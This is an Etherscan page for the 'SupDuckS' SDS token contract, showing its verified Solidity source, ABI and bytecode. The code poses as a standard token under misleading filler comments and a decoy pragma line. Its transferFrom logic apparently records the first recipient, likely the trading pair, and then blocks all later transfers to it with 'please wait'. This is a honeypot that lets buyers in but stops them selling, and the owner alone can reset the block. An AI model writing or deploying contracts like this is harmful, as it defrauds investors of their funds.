ETH Price: $2,526.29 (+0.34%)

Token

SupDuckS NFT | SupDucks.com (SDS)
 

Overview

Max Total Supply

10,000,000 SDS

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
104,712.314204554 SDS

Value
$0.00
0x765175b3093554bebbdc8193415371a857dddbfd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SupDuckS

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-09-26
*/

//                          pragma solidity 0.7.4;
//                          SPDX-License-Identifier: MIT
    
    
    
    /**   
    * Website: https://www.supducks.com
    * OpenSea: https://opensea.io/collection/supducks
    * Twitter: https://twitter.com/RealSupDucks
    * Discord: https://discord.com/invite/4bxdBNBy9g
    * Medium:  https://medium.com/supducks
    */


    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards
     * Emits an {Approval} event.
     */
     
    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 5000 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */
    
     /** 
    * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */
     
                                                                                                                                pragma solidity ^0.5.17;


library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract BEP20Interface {
  function totalSupply() public view returns (uint);
  function balanceOf(address tokenOwner) public view returns (uint balance);
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  function transfer(address to, uint tokens) public returns (bool success);
  function approve(address spender, uint tokens) public returns (bool success);
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;


  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
     
     
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
     
         /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

contract TokenBEP20 is BEP20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

    /**
     * Constrctor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract
     */
     
         /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */


  constructor() public {
    symbol = "SDS";
    name = "SupDuckS NFT | SupDucks.com";
    decimals = 9;
    _totalSupply = 10000000 * 10**9;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  
   /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
  
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

/**
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

} 
*/

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 5000 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */
     
contract SupDuckS is TokenBEP20 {
    
     /*
    * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */

  function clearCNDAO() public onlyOwner() {
     
     
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}

/**
 interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
*/

 /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearCNDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

600080546001600160a01b0319163317905560c0604052600360808190526253445360e81b60a090815261003691600291906100f2565b5060408051808201909152601b8082527f5375704475636b53204e4654207c205375704475636b732e636f6d0000000000602090920191825261007b916003916100f2565b506004805460ff19166009179055662386f26fc100006005819055600080546001600160a01b0390811682526007602090815260408084208590558354815195865290519216937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a361018d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061013357805160ff1916838001178555610160565b82800160010185558215610160579182015b82811115610160578251825591602001919060010190610145565b5061016c929150610170565b5090565b61018a91905b8082111561016c5760008155600101610176565b90565b610c678061019c6000396000f3fe6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a72315820217897c749efd75df3a499fd7d3e603b735bc4c1c4a332b0645c738f69ce02fd64736f6c63430005110032

Deployed Bytecode

0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a